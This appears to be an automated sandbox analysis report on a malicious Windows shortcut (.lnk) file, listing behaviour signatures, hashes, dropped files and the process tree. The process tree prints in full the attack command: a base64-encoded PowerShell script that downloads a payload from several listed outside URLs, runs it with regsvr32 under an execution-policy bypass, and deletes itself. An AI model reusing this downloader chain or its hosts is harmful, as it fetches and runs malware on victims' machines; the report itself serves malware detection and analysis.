Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 09:24

General

  • Target

    c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463.lnk

  • Size

    2KB

  • MD5

    62a2b911a0cbbbf5d5f5b3219e5104e4

  • SHA1

    26eafa71722e807e1e13844456f201d12a75bd72

  • SHA256

    c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463

  • SHA512

    060027a0f5a0ea24c1cc88dafad85dc2ab6f19fdc76a47f3cf168c4085c39538f1dde60049df00d23454f69a90b8ce07ccb0fbca599e793c901046f75f8da543

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2276
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "ARCHIVO 1512.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovLzUxLjIyMi43Mi4yMzcvd3AtaW5jbHVkZXMvMmw5Mlh1bG5DNmFaenYwak5HTi8iLCJodHRwOi8vdnJzdGFyLXBhcmsuY29tL3dwLWluY2x1ZGVzLzJVWWhOZ0lhTmVJQk0vIiwiaHR0cDovL2RuMDAwODkzLmZlcm96by5jb20vYWdlbmRhL2NrVTRvck9uNC8iLCJodHRwOi8vZGxxc2NsdWIuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy80SW1NWWtnSTQ0cHN3ZWFLSS8iLCJodHRwOi8vdG93YXJkc3VuLm5ldC9hZG1pbi9uNTZ3ZzliU1pQRi8iLCJodHRwOi8vY3JlY2VyY3JlYW5kby5jb20vdGFwYXMyL0FXbG8vIik7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGVudjpURU1QL21TUm9DeFBJWW4uaGVEO1JlZ3N2cjMyLmV4ZSAkZW52OlRFTVAvbVNSb0N4UElZbi5oZUQ7YnJlYWt9IGNhdGNoIHsgfX0=')) > "C:\Users\Admin\AppData\Local\Temp\vyrEzcdcTl.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\vyrEzcdcTl.ps1"; Remove-Item "$env:TEMP/\vyrEzcdcTl.
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\vyrEzcdcTl.ps1
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1276

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    0ab03b4ab0ee8273a1eea28cef1ca1e7

    SHA1

    8a305ca40e71bd2b04b20c65e28730e3ff3f50b2

    SHA256

    695a48145171a84d61778fe33c410d3195109c7c59a2b1038a1f3ca14c52a3ed

    SHA512

    7347810d3c514b343def26aa42e4b758fc1cdd8a9e57c529de49615b995c8c1dab942d83d432a5ee6e022bbefd020d6b1d920ffa61a9ca2617ff8b67ce3c4f72

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pwfhzkts.u4i.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\vyrEzcdcTl.ps1

    Filesize

    946B

    MD5

    b6c0d424fc2e8f0305869f276f3ab851

    SHA1

    cc330652aade5fa66cf581884b1a347673206cd0

    SHA256

    70280b341855deaa98065c4548ba8cbbf318a99b288bafa4217c6b205519776c

    SHA512

    21a656692df485e9c678617c6c77c8ea9ab4cef4a214d56f7ff7c5df7b0c484eb4494fb60552746c178875e3ddc66547f2e2eb31d67be8c3745de862bbea4e8e

  • memory/1276-34-0x000001EA54C70000-0x000001EA55416000-memory.dmp

    Filesize

    7.6MB

  • memory/1276-31-0x000001EA53D20000-0x000001EA53F3C000-memory.dmp

    Filesize

    2.1MB

  • memory/1628-14-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

    Filesize

    10.8MB

  • memory/1628-17-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

    Filesize

    10.8MB

  • memory/1628-28-0x00007FFBB9E73000-0x00007FFBB9E75000-memory.dmp

    Filesize

    8KB

  • memory/1628-29-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

    Filesize

    10.8MB

  • memory/1628-30-0x0000027FDDF00000-0x0000027FDE11C000-memory.dmp

    Filesize

    2.1MB

  • memory/1628-15-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

    Filesize

    10.8MB

  • memory/1628-2-0x00007FFBB9E73000-0x00007FFBB9E75000-memory.dmp

    Filesize

    8KB

  • memory/1628-13-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

    Filesize

    10.8MB

  • memory/1628-8-0x0000027FDDED0000-0x0000027FDDEF2000-memory.dmp

    Filesize

    136KB

  • memory/1628-41-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

    Filesize

    10.8MB